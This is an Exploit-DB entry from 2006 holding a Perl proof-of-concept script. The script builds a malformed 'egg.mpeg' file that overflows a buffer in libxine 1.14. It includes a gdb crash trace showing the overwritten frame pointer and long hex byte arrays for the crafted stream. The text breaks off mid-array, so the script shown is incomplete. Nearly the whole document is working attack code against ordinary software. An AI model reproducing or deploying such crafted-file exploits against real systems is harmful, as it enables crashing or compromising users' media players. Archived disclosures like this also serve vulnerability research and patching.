Exploit-DB #1641
Description: Libxine 1.14 - MPEG Stream Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2006-04-04
Author: Federico L. Bossi Bonin

Exploit:
#!/usr/bin/perl
#####################################################################
# Libxine <= 1.14 : MPEG Stream Buffer overflow vulnerability / PoC
#
# Federico L. Bossi Bonin
# fbossi[at]netcomm.com.ar
####################################################################


# (gdb) run /tmp/egg.mpeg
# Starting program: /usr/bin/gxine /tmp/egg.mpeg
# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread [PII_REDACTED] (LWP 30688)]
# 0xb7edee9a in xine_list_delete_current () from /usr/lib/libxine.so.1
# (gdb) x/x $ebp
# 0x8e2cbd4:      0x41414141
# (gdb)                     

my $EGGFILE="egg.mpeg";
my $len=2024;

my $header=
"\x30\x26\xB2\x75\x8E\x66\xCF\x11\xA6\xD9\x00\xAA\x00\x62\xCE\x6C\x2E\xA9\xCF\x11\x8E\xE3\x00\xC0".
"\x0C\x20\x53\x65\x2E\x00\x00\x00\x00\x00\x00\x00\x11\xD2\xD3\xAB\xBA\xA9\xCF\x11\x8E\xE6\x00\xC0".
"\x0C\x20\x53\x65\x06\x00\x00\x00\x00\x00\x91\x07\xDC\xB7\xB7\xA9\xCF\x11\x8E\xE6\x00\xC0\x0C\x20".
"\x53\x65\x72\x00\x00\x00\x00\x00\x00\x00\x40\x9E\x69\xF8\x4D\x5B\xCF\x11\xA8\xFD\x00\x80\x5F\x5C".
"\x44\x2B\x50\xCD\xC3\xBF\x8F\x61\xCF\x11\x8B\xB2\x00\xAA\x00\xB4\xE2\x20\x00\x00\x00\x00\x00\x00".
"\x00\x00\x1C\x00\x00\x00\x08\x00\x00\x00\x01\x00\x40\x34\x7C\x00\x61\x01\x01\x00\x80\x3E\x00\x00".
"\xD0\x07\x00\x00\x80\x02\x10\x00\x0A\x00\x00\x22\x00\x00\x0E\x00\x80\x07\x00\x00\x01\x80\x02\x80".
"\x02\x01\x00\x00\x91\x07\xDC\xB7\xB7\xA9\xCF\x11\x8E\xE6\x00\xC0\x0C\x20\x53\x65\x81\x00\x00\x00".
"\x00\x00\x00\x00\xC0\xEF\x19\xBC\x4D\x5B\xCF\x11\xA8\xFD\x00\x80\x5F\x5C\x44\x2B\x00\x57\xFB\x20".
"\x55\x5B\xCF\x11\xA8\xFD\x00\x80\x5F\x5C\x44\x2B\x00\x00\x00\x00\x00\x00\x00\x00\x33\x00\x00\x00".
"\x00\x00\x00\x00\x02\x00\x40\x34\x7C\x00\x40\x01\x00\x00\xF0\x00\x00\x00\x02\x28\x00\x28\x00\x00".
"\x00\x40\x01\x00\x00\xF0\x00\x00\x00\x01\x00\x18\x00\x57\x4D\x56\x31\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x01\xCD";


my $end=
"\x24\x84\x21\x00\x06\x06\x94\xA4\xB4\x92\xF5\xA7\x55\x54\x7E\xB6\xB3\x3A\xE9\x65\xA7\xEE\xDE\x9B".
"\x7B\xE4\x25\x34\xA1\x08\x13\x29\x21\xB4\x54\x4D\x0F\xA0\xA1\x3C\x74\x83\x0D\x1A\x32\x36\xAB\xC6".
"\x91\xD5\xD0\x88\xC6\x62\x1E\x71\x65\x2F\xDC\x44\xAE\x0B\x78\x74\x14\xD3\x84\x9F\xCE\x80\x80\xA2".
"\x52\x94\x41\xA8\x84\x3B\x09\x09\x44\xA2\x1B\xD4\xA7\x1B\xC7\x52\xDF\x00\x83\x23\x19\x88\xF6\xA5".
"\x09\x9A\x9C\x78\x6F\xA9\x7E\x9A\x52\x2A\x8D\x12\xD0\x46\x88\x68\x54\x24\xB2\x53\x51\x14\x09\x10".
"\x11\xB2\x60\xED\x83\x30\xAA\x27\xA6\xC4\x32\x37\x20\x06\xB4\x4A\xB2\xD5\x40\x2C\x88\xC4\x0E\x63".
"\x15\x59\x19\x6C\x30\xBC\x75\xFE\x1E\x50\x10\x43\x63\x21\x1E\xFD\x44\x31\xF0\xA1\x69\xF3\xB2\xFE".
"\x60\x01\x24\x58\x54\x1A\x81\x44\xD5\x4C\x22\x94\xC4\x00\x6A\x69\x70\xE5\xA9\x63\x4C\x5D\xA6\xCB".
"\x2A\xB0\x1E\xEC\x36\xE2\x03\x4E\x98\xC0\x08\xBB\x76\xB5\xD0\x5E\x1E\x3A\xBE\xFA\x02\x81\x05\x35".
"\x31\x11\xED\x5A\x94\x19\x5B\x41\x42\x00\x7C\x52\x52\x02\x13\x74\x6C\x2A\xC2\xC0\x21\x92\x50\x29".
"\x82\x96\x61\x9D\x4C\x88\xD5\xC6\x5A\xA8\xB4\x11\x07\x71\x37\xB4\x91\x62\xAD\x81\x2C\x56\x4F\xBB".
"\x4D\x75\x73\x1E\x3A\xFE\xFF\x00\x81\x85\x35\x32\x11\xEF\xD4\x83\x91\xA8\xAA\x87\xE6\x9A\x68\x29".
"\x29\xB8\x74\x64\x41\xD1\x46\x93\x2B\x0A\xA9\x04\x1A\xA0\x12\x4C\xAF\x67\x4A\x99\x00\x6F\xB6\x33".
"\x62\x40\x32\x35\x01\xAA\xEC\x02\xD6\x75\x2E\x4E\x6A\xAE\x71\x95\x78\xE9\xFB\xDC\x00\x00\x02\x22".
"\x98\x90\xF6\x34\x99\x8A\x50\x00\x7E\xED\x8B\xF0\xEA\x22\x20\x96\x36\x40\x6C\x02\x18\x0B\x0B\xE2".
"\x83\x25\x2D\x29\x32\x22\x61\x59\x8B\x32\x25\xCF\x52\x24\x96\xF3\x64\xE8\x19\x3B\x20\x41\x52\x75".
"\x5B\x4F\x93\x85\xE3\xAB\xEF\x98\x30\x20\xA8\xC6\x42\x3D\x7F\xB0\x82\xD1\x44\x53\xC4\xF8\x50\xB1".
"\x12\x2A\x4C\x32\x01\x56\xAC\x43\x24\x10\x69\x4A\x09\x13\x15\x68\x86\xCD\xFA\x0D\xC7\x2C\x02\xFD".
"\x2B\x24\x86\x2F\x86\x96\x09\xD3\x44\xCA\x85\x2C\x0C\x10\xC2\xDB\x5A\xE9\x8F\x1D\x3F\x68\x08\x08".
"\x18\x44\x53\x12\x1E\xF6\x62\x03\xF4\xD0\x92\x38\xA8\x09\x4A\x5A\x9D\xC4\x2A\xC8\xA2\x62\x20\x86".
"\x48\x4D\x49\x24\x26\xAA\x02\x0F\x47\x85\x30\x18\xE4\x5B\xA8\x83\x07\x7A\x20\xED\xBB\x90\xC2\xEB".
"\xE7\x0E\xE6\xD7\x83\x9F\x6F\x1D\x4F\x84\x85\x05\x45\x31\x21\xEF\x55\x41\xA5\xD9\xA2\x69\xA5\xF2".
"\x69\x0E\xA9\x2A\x89\x50\x40\x64\x40\xA8\x11\x86\x94\xBB\x02\xAD\x44\x48\x06\x41\xFB\x78\x20\x29".
"\x02\x37\xC2\xD3\x68\x62\x74\x5A\x22\x5A\x1B\xB6\x29\x5F\x9C\x08\xE9\xE0\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x82\x01\x00\x00\x00\x00\x08\xDA\x24\x00\x00\x1C".
"\x0C\x00\x00\x5B\x02\x13\x77\x85\x0B\xAA\x81\xE6\x94\x6E\x4E\x58\x82\x30\x25\xD2\x0F\xA5\xFC\xE0".
"\x80\x48\x7A\xC5\x11\x6E\x0E\x31\xF8\x10\x5F\x37\x14\x53\x3E\x9B\xE1\xBA\xAB\x81\xF0\xF6\x21\xE2".
"\x47\x5E\x7F\xFE\x12\x41\x46\x78\x7D\x3B\x44\x42\x2E\xC7\x98\xF1\x67\xF2\x7E\x86\x88\x07\xF7\x21".
"\x2D\x35\x88\x20\x9B\x82\x36\x0D\x90\xB8\xA6\x33\x18\xA4\x86\x1B\x2E\x43\x40\x61\xF8\x73\x90\xCC".
"\xF9\xC6\xFF\x63\x05\x96\xE5\x45\xFB\xB3\x40\xAD\xC5\x81\xCF\x67\x50\x70\x51\x2B\x9D\x9F\x55\xF0".
"\x2F\x24\x2A\xF0\xE8\xB2\x61\x29\x47\x69\x4A\x84\x2C\x7B\xAD\xD4\xC3\x06\x96\xD5\x03\xD0\xC1\xF4".
"\x4E\x65\x64\x0A\xE8\x14\x32\x40\x42\xE1\x11\x08\x40\x29\x1D\x97\xC8\x33\x1B\xCC\x20\x5D\x6D\x85".
"\x82\xAF\x34\x2F\x43\xC3\x58\x8D\x9F\x28\x91\x51\x3C\x3A\xAC\x63\x7C\xFE\x2F\xCE\xB6\xDE\x65\xC5".
"\xB1\x83\xD8\xC1\xEF\xFF\x15\x68\xF3\xD9\x24\xB9\x97\xF2\x72\xEE\x08\xCC\x7C\x47\x8A\xA5\xE5\xD9".
"\x78\xF6\x2E\x37\xF4\xEA\xB0\x55\xE1\xD5\x41\x55\x05\x54\x08\x48\xCC\x3A\x27\x10\x0A\x92\xF6\x44".
"\x64\x20\x75\x5E\x77\x57\x64\x37\x1A\x55\xEE\xB4\x83\x6F\x2D\x24\xB4\x69\xDD\x88\xCB\xED\x30\xA0".
"\x1E\xF2\x18\x01\x00\x90\x24\x80\x01\xE6\xD4\x64\x53\x6C\xC6\xF5\x8C\x4B\xBC\x90\x0B\xD3\x9A\xD5".
"\x6D\xD1\x28\xBE\x78\x77\x8A\x47\x57\x67\xB4\x77\x3D\xEF\xD5\x76\x5C\xD9\x9E\xD2\x42\x93\x8A\x42".
"\x69\xBD\x14\x16\x30\x40\x4F\xE8\xF2\x33\x90\x21\x34\xA9\xDD\x62\xBC\xCB\x9C\x7A\xCF\xE5\x47\x08".
"\xA4\xA4\xCD\xE6\x44\xC3\xBF\x11\x60\x25\x14\xC6\x48\xFA\xEC\x7F\x9F\x6A\x24\x11\x74\xAA\x32\xCB".
"\x29\x27\x75\x